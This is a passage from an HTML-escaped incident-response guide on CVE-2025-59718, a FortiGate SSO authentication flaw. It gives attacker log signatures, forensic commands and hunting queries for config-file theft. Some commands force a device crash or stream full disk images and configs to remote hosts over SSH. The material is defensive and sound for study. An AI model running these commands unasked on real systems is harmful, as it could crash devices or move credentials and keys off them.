  &lt;li&gt;Modification to audit logs (attacker could disable logging post-compromise)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The observed attack pattern from Arctic Wolf shows this log signature:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;logid=&quot;0100032001&quot; type=&quot;event&quot; subtype=&quot;system&quot; level=&quot;information&quot;
logdesc=&quot;Admin login successful&quot; user=&quot;admin&quot; ui=&quot;sso(199.247.7.82)&quot; 
method=&quot;sso&quot; srcip=199.247.7.82 action=&quot;login&quot; status=&quot;success&quot; 
profile=&quot;super_admin&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Followed by:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;logid=&quot;0100032095&quot; type=&quot;event&quot; subtype=&quot;system&quot; level=&quot;warning&quot;
logdesc=&quot;Admin performed an action from GUI&quot; user=&quot;admin&quot; 
ui=&quot;GUI(199.247.7.82)&quot; action=&quot;download&quot; status=&quot;success&quot;
msg=&quot;System config file has been downloaded&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Critical forensic limitation:&lt;/strong&gt; If an attacker authenticated via this vulnerability and immediately disabled logging or modified the syslog configuration, you might have zero visibility into what they did post-compromise.&lt;/p&gt;

&lt;p&gt;Additionally, downloaded configuration files contain:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Hashed local account passwords&lt;/li&gt;
  &lt;li&gt;VPN credentials&lt;/li&gt;
  &lt;li&gt;Certificate private keys&lt;/li&gt;
  &lt;li&gt;SNMP community strings&lt;/li&gt;
  &lt;li&gt;IPsec PSKs&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If your config was exfiltrated, assume all credentials in it are compromised. The hashes can be cracked offline, and weak passwords will fall quickly to dictionary attacks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What we’ve observed in the wild:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Attackers authenticate as admin&lt;/li&gt;
  &lt;li&gt;Immediate download of system config&lt;/li&gt;
  &lt;li&gt;Quick in-and-out pattern (3-5 minute dwell time)&lt;/li&gt;
  &lt;li&gt;No persistence mechanisms observed (yet)&lt;/li&gt;
  &lt;li&gt;Focus on credential harvesting from configs&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This suggests initial access operations, likely for follow-on attacks. Stolen credentials enable:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;VPN access to internal networks&lt;/li&gt;
  &lt;li&gt;Lateral movement to other Fortinet devices&lt;/li&gt;
  &lt;li&gt;Access to networks the firewall protects&lt;/li&gt;
  &lt;li&gt;Identity for supply chain attacks&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;forensic-evidence-collection&quot;&gt;Forensic Evidence Collection&lt;/h2&gt;

&lt;p&gt;When exploitation is suspected or confirmed, evidence collection needs to happen fast. FortiGate logs rotate, memory is volatile, and attackers with admin access can disable logging or wipe evidence. The following methods preserve forensic artifacts before they disappear.&lt;/p&gt;

&lt;h3 id=&quot;collection-priority-order&quot;&gt;Collection Priority Order&lt;/h3&gt;

&lt;p&gt;Time matters. The forensic window closes fast. If you can’t collect everything immediately:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;System logs&lt;/strong&gt; - Rotate fastest, contain authentication and admin action evidence&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Memory dump&lt;/strong&gt; - Most volatile, shows active sessions and in-memory configurations&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Configuration backup&lt;/strong&gt; - Shows what the attacker could access or modify&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Disk image&lt;/strong&gt; - Time-consuming but comprehensive preservation&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Network flow logs&lt;/strong&gt; - May show data exfiltration or C2 communication&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;External SIEM data&lt;/strong&gt; - If forwarding was enabled and not disabled by attacker&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Logs rotate. Sessions expire. Attackers clean up. Collect what matters first.&lt;/p&gt;

&lt;h3 id=&quot;fortigate-log-extraction&quot;&gt;FortiGate Log Extraction&lt;/h3&gt;

&lt;p&gt;FortiGate devices store logs in memory and disk depending on configuration. Critical for CVE-2025-59718 investigations because they contain the only evidence of SSO authentication and post-compromise actions.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Export all event logs:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Via CLI - exports to TFTP/FTP server&lt;/span&gt;
execute backup disk full-config tftp &amp;lt;filename&amp;gt; &amp;lt;tftp_server_ip&amp;gt;

&lt;span class=&quot;c&quot;&gt;# Export system logs to USB (if available)&lt;/span&gt;
execute backup disk full-log usb &amp;lt;filename&amp;gt;

&lt;span class=&quot;c&quot;&gt;# Export logs via SCP (requires SSH enabled)&lt;/span&gt;
execute backup disk alllogs scp &amp;lt;filename&amp;gt; &amp;lt;scp_server_ip&amp;gt;:&amp;lt;path&amp;gt; &amp;lt;username&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Export specific log categories:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Export only system event logs (authentication, admin actions)&lt;/span&gt;
execute log filter category 0
execute log filter field subtype system
execute log display
execute log &lt;span class=&quot;nb&quot;&gt;export &lt;/span&gt;tftp &amp;lt;filename&amp;gt; &amp;lt;tftp_server&amp;gt;

&lt;span class=&quot;c&quot;&gt;# Export traffic logs (network connections)&lt;/span&gt;
execute log filter category 1
execute log display
execute log &lt;span class=&quot;nb&quot;&gt;export &lt;/span&gt;tftp &amp;lt;filename&amp;gt; &amp;lt;tftp_server&amp;gt;

&lt;span class=&quot;c&quot;&gt;# Export security logs (IPS, AV, etc.)&lt;/span&gt;
execute log filter category 2
execute log display
execute log &lt;span class=&quot;nb&quot;&gt;export &lt;/span&gt;tftp &amp;lt;filename&amp;gt; &amp;lt;tftp_server&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Check log storage locations:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Show current log storage settings&lt;/span&gt;
diagnose sys top-summary

&lt;span class=&quot;c&quot;&gt;# Check disk space and log usage&lt;/span&gt;
get system status

&lt;span class=&quot;c&quot;&gt;# Show logging configuration&lt;/span&gt;
show log setting
show log syslogd setting
show log fortianalyzer setting
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Critical logs for CVE-2025-59718:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Event logs (category 0) - Contains SSO login and admin action events&lt;/li&gt;
  &lt;li&gt;Admin login history - Shows authentication method and source IPs&lt;/li&gt;
  &lt;li&gt;Configuration change logs - Shows if attacker modified settings&lt;/li&gt;
  &lt;li&gt;Download logs - Critical for detecting config file exfiltration&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;If using FortiAnalyzer or Syslog:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Logs may be preserved externally even if local logs are cleared:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Check if FortiAnalyzer is configured&lt;/span&gt;
get log fortianalyzer setting

&lt;span class=&quot;c&quot;&gt;# Check if syslog forwarding is active&lt;/span&gt;
get log syslogd setting

&lt;span class=&quot;c&quot;&gt;# Verify last successful log upload&lt;/span&gt;
diagnose &lt;span class=&quot;nb&quot;&gt;test &lt;/span&gt;application miglogd 4
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If external logging was active, immediately secure those log stores before the attacker accesses them.&lt;/p&gt;

&lt;h3 id=&quot;memory-acquisition&quot;&gt;Memory Acquisition&lt;/h3&gt;

&lt;p&gt;Memory contains active sessions, cached credentials, in-memory configurations, and runtime state that doesn’t exist on disk. For FortiGate investigations, memory is critical because it may contain:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Active admin session tokens and cookies&lt;/li&gt;
  &lt;li&gt;SAML response processing artifacts&lt;/li&gt;
  &lt;li&gt;Cached configuration changes not yet written to disk&lt;/li&gt;
  &lt;li&gt;Network connection states&lt;/li&gt;
  &lt;li&gt;Process memory showing what the attacker accessed&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Physical FortiGate Appliance Memory Dump:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;FortiGate devices run FortiOS (a hardened Linux kernel). Direct memory access requires specific procedures:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Remember that ProcFS is mounted and you can review it via fnsysctl cat/ls commands&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Check available memory&lt;/span&gt;
diagnose hardware deviceinfo mem

&lt;span class=&quot;c&quot;&gt;# Enable core dump (requires reboot)&lt;/span&gt;
diagnose debug &lt;span class=&quot;nb&quot;&gt;enable
&lt;/span&gt;diagnose debug core-dump &lt;span class=&quot;nb&quot;&gt;enable&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# Trigger controlled crash to generate core dump (USE WITH EXTREME CAUTION)&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# This will reboot the device - only use if authorized&lt;/span&gt;
diagnose debug crash
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Core dumps are stored in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/data/core/&lt;/code&gt; and can be extracted via SCP or USB.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;VM-based FortiGate (FortiGate-VM) Memory Dump:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For virtual appliances, use hypervisor snapshot capabilities:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# VMware ESXi - suspend to capture memory&lt;/span&gt;
vim-cmd vmsvc/power.suspend &amp;lt;vmid&amp;gt;
&lt;span class=&quot;c&quot;&gt;# Memory saved to .vmss file in VM directory&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# Resume after copying: vim-cmd vmsvc/power.on &amp;lt;vmid&amp;gt;&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# Hyper-V memory dump&lt;/span&gt;
Stop-VM &lt;span class=&quot;nt&quot;&gt;-Name&lt;/span&gt; FortiGateVM &lt;span class=&quot;nt&quot;&gt;-Save&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# Memory saved to .bin and .vsv files&lt;/span&gt;
Start-VM &lt;span class=&quot;nt&quot;&gt;-Name&lt;/span&gt; FortiGateVM

&lt;span class=&quot;c&quot;&gt;# KVM/QEMU memory dump&lt;/span&gt;
virsh dump &amp;lt;domain&amp;gt; /forensics/fortigate-memory.dump &lt;span class=&quot;nt&quot;&gt;--memory-only&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--live&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# AWS EC2 (if EBS-backed)&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# Create snapshot, then extract from snapshot volume&lt;/span&gt;
aws ec2 create-snapshot &lt;span class=&quot;nt&quot;&gt;--volume-id&lt;/span&gt; vol-xxxxx &lt;span class=&quot;nt&quot;&gt;--description&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;FortiGate forensics&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Alternative: Configuration and Session State Extraction:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If full memory dump isn’t possible, extract runtime state:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Dump current configuration (includes all settings)&lt;/span&gt;
show full-configuration

&lt;span class=&quot;c&quot;&gt;# Show active admin sessions&lt;/span&gt;
diagnose sys session list

&lt;span class=&quot;c&quot;&gt;# Show cached certificates and keys&lt;/span&gt;
diagnose vpn ssl list

&lt;span class=&quot;c&quot;&gt;# Show SAML configuration and status&lt;/span&gt;
diagnose debug application samld &lt;span class=&quot;nt&quot;&gt;-1&lt;/span&gt;
diagnose debug &lt;span class=&quot;nb&quot;&gt;enable&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# Let it run for 30 seconds to capture SAML processing&lt;/span&gt;
diagnose debug disable
diagnose debug reset
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;disk-imaging&quot;&gt;Disk Imaging&lt;/h3&gt;

&lt;p&gt;Disk images preserve FortiGate system files, logs, configuration, and forensic artifacts. For CVE-2025-59718, disk imaging captures:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Complete log history before rotation (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/log/&lt;/code&gt;)&lt;/li&gt;
  &lt;li&gt;System configuration files (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/data/config/&lt;/code&gt;)&lt;/li&gt;
  &lt;li&gt;Certificate stores and private keys&lt;/li&gt;
  &lt;li&gt;Historical configuration versions&lt;/li&gt;
  &lt;li&gt;System binaries and potential persistence mechanisms&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Physical Appliance Disk Imaging:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Physical FortiGate devices use internal storage (SSD/HDD). Imaging requires physical access; if this is impossible or risk is not accepted to crack open the device; consider working with FortiSupport to have a bitwise image generated after shipping the entire device&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;
&lt;span class=&quot;c&quot;&gt;# Using dc3dd (forensically sound)&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;dc3dd &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/dev/sdb &lt;span class=&quot;nv&quot;&gt;of&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/forensics/fortigate-disk.img &lt;span class=&quot;nb&quot;&gt;hash&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;sha256 &lt;span class=&quot;nv&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/forensics/imaging.log

&lt;span class=&quot;c&quot;&gt;# Using dd and dumping output to a remote host (Few methods)&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;dd &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/dev/&amp;lt;&lt;span class=&quot;nb&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;bs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;16M | ssh &amp;lt;user&amp;gt;@&amp;lt;host&amp;gt; “/bin/dd &lt;span class=&quot;nv&quot;&gt;of&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/path/to/save/&amp;lt;device_name&amp;gt;.dd &lt;span class=&quot;nv&quot;&gt;bs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;16M”
&lt;span class=&quot;nb&quot;&gt;dd &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/dev/&amp;lt;root device&amp;gt; &lt;span class=&quot;nv&quot;&gt;bs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;5M &lt;span class=&quot;nv&quot;&gt;conv&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;fsync &lt;span class=&quot;nv&quot;&gt;status&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;progress | &lt;span class=&quot;nb&quot;&gt;gzip&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-9&lt;/span&gt; | ssh &amp;lt;user&amp;gt;@&amp;lt;DestinationIP&amp;gt; &lt;span class=&quot;s1&quot;&gt;&apos;gzip -d | dd of=&amp;lt;device_name&amp;gt;.dd bs=5M&apos;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;VM-based FortiGate Disk Imaging:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For virtual appliances, snapshot the virtual disks:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# VMware - Clone VMDK files&lt;/span&gt;
vmkfstools &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; fortigate.vmdk fortigate-forensic.vmdk

&lt;span class=&quot;c&quot;&gt;# Hyper-V - Export VM disks&lt;/span&gt;
Export-VM &lt;span class=&quot;nt&quot;&gt;-Name&lt;/span&gt; FortiGateVM &lt;span class=&quot;nt&quot;&gt;-Path&lt;/span&gt; C:&lt;span class=&quot;se&quot;&gt;\F&lt;/span&gt;orensics&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# KVM/QEMU - Copy qcow2 images&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;cp&lt;/span&gt; /var/lib/libvirt/images/fortigate.qcow2 /forensics/fortigate-forensic.qcow2

&lt;span class=&quot;c&quot;&gt;# AWS EC2 - Create AMI or snapshot&lt;/span&gt;
aws ec2 create-image &lt;span class=&quot;nt&quot;&gt;--instance-id&lt;/span&gt; i-xxxxx &lt;span class=&quot;nt&quot;&gt;--name&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;FortiGate-Forensic-Image&quot;&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# Or snapshot specific volumes&lt;/span&gt;
aws ec2 create-snapshot &lt;span class=&quot;nt&quot;&gt;--volume-id&lt;/span&gt; vol-xxxxx &lt;span class=&quot;nt&quot;&gt;--description&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;FortiGate forensics&quot;&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# Azure - Create managed disk snapshot&lt;/span&gt;
az snapshot create &lt;span class=&quot;nt&quot;&gt;--resource-group&lt;/span&gt; myRG &lt;span class=&quot;nt&quot;&gt;--name&lt;/span&gt; fortigate-snap &lt;span class=&quot;nt&quot;&gt;--source&lt;/span&gt; /subscriptions/.../disks/fortigate-disk

&lt;span class=&quot;c&quot;&gt;# GCP - Snapshot persistent disk&lt;/span&gt;
gcloud compute disks snapshot fortigate-disk &lt;span class=&quot;nt&quot;&gt;--snapshot-names&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;fortigate-forensic &lt;span class=&quot;nt&quot;&gt;--zone&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;us-central1-a
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Live Backup (If Device Can’t Be Taken Offline):&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If the FortiGate must remain operational:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Full configuration backup (includes encrypted passwords)&lt;/span&gt;
execute backup full-config tftp backup.conf &amp;lt;tftp_server&amp;gt;

&lt;span class=&quot;c&quot;&gt;# Or via SCP (preferred for security)&lt;/span&gt;
execute backup full-config scp backup.conf &amp;lt;user&amp;gt;@&amp;lt;server&amp;gt;:&amp;lt;path&amp;gt;

&lt;span class=&quot;c&quot;&gt;# Full disk backup (includes logs, firmware)&lt;/span&gt;
execute backup disk full-config tftp full-backup.img &amp;lt;tftp_server&amp;gt;

&lt;span class=&quot;c&quot;&gt;# Verify backup integrity&lt;/span&gt;
execute restore verify tftp backup.conf &amp;lt;tftp_server&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;configuration-files&quot;&gt;Configuration Files&lt;/h3&gt;

&lt;p&gt;Configuration reveals what was enabled during the exploitation window and what the attacker could access or modify.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Critical FortiGate configurations:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Full system configuration (contains all settings, VPN configs, certificates)&lt;/li&gt;
  &lt;li&gt;SAML SSO configuration (IdP settings, certificate trusts)&lt;/li&gt;
  &lt;li&gt;Admin account configurations (users, permissions, trusted hosts)&lt;/li&gt;
  &lt;li&gt;Logging configuration (shows if attacker disabled logging)&lt;/li&gt;
  &lt;li&gt;VPN configurations (IPsec, SSL-VPN credentials)&lt;/li&gt;
  &lt;li&gt;Certificate stores (private keys, CA certificates)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Triage Extract via CLI:&lt;/strong&gt;
For a starting triage and forensic command reference, see our FortiGate triage command collection at https://gist.github.com/gottlabs/4fdc425bd8c50944e9a5c67806d7639c. It includes system integrity checks, process enumeration, filesystem inspection, and network state collection commands useful during incident response.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Configuration file locations on disk:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/data/config/sys_global.conf&lt;/code&gt; - Global system configuration&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/data/config/fgt.conf&lt;/code&gt; - Main FortiGate configuration&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/init.d/&lt;/code&gt; - Service configurations&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/data/&lt;/code&gt; - Data directory containing logs and configs&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;System logs and forensic artifacts:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/log/log&lt;/code&gt; - Main event log file&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/log/log.*&lt;/code&gt; - Rotated log files&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/data/var/log/&lt;/code&gt; - Persistent log storage&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/log/message&lt;/code&gt; - System messages&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/tmp/&lt;/code&gt; - Temporary files (may contain session data)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Certificate and key stores:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/data/etc/cert/&lt;/code&gt; - Certificate storage&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/data/etc/ssl/&lt;/code&gt; - SSL certificates and keys&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/cert/&lt;/code&gt; - System certificates&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;external-siemlog-aggregation&quot;&gt;External SIEM/Log Aggregation&lt;/h3&gt;

&lt;p&gt;If FortiGate was forwarding logs to external systems:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;FortiAnalyzer logs:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;May contain complete event history even if local logs cleared&lt;/li&gt;
  &lt;li&gt;Check for SSO authentication events with method=”sso”&lt;/li&gt;
  &lt;li&gt;Review configuration change logs&lt;/li&gt;
  &lt;li&gt;Analyze traffic logs for post-compromise behavior&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Syslog servers:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Preserve logs even if FortiGate compromised&lt;/li&gt;
  &lt;li&gt;Search for logid 0100032001 (admin login) with method=”sso”&lt;/li&gt;
  &lt;li&gt;Search for logid 0100032095 (config download)&lt;/li&gt;
  &lt;li&gt;Correlate with other security events&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;detection-and-hunting&quot;&gt;Detection and Hunting&lt;/h2&gt;

&lt;p&gt;Given the forensic limitations, detection relies heavily on behavioral analytics and log correlation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Primary detection logic:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Hunt for SSO authentication followed by configuration downloads:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;event=&quot;Admin login successful&quot; AND method=&quot;sso&quot; 
FOLLOWED BY 
action=&quot;download&quot; AND msg CONTAINS &quot;config file&quot;
WITHIN 15 minutes
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Look for admin actions from unexpected source IPs:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;user=&quot;admin&quot; AND method=&quot;sso&quot; 
WHERE srcip NOT IN [known_admin_ips]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Detect FortiCloud SSO logins outside normal business hours:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;method=&quot;sso&quot; AND (hour &amp;lt; 6 OR hour &amp;gt; 20) 
AND day IN [Saturday, Sunday]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Check for multiple admin logins from different IPs in short timeframes:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;COUNT(DISTINCT srcip) WHERE method=&quot;sso&quot; AND user=&quot;admin&quot;
GROUP BY 15_minute_window
HAVING count &amp;gt; 1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Configuration audit:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;show system global | grep admin-forticloud-sso-login
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If this returns &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;enable&lt;/code&gt;, you’re exposed (assuming vulnerable version).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Log queries to hunt for historical compromise:&lt;/strong&gt;&lt;/p&gt;

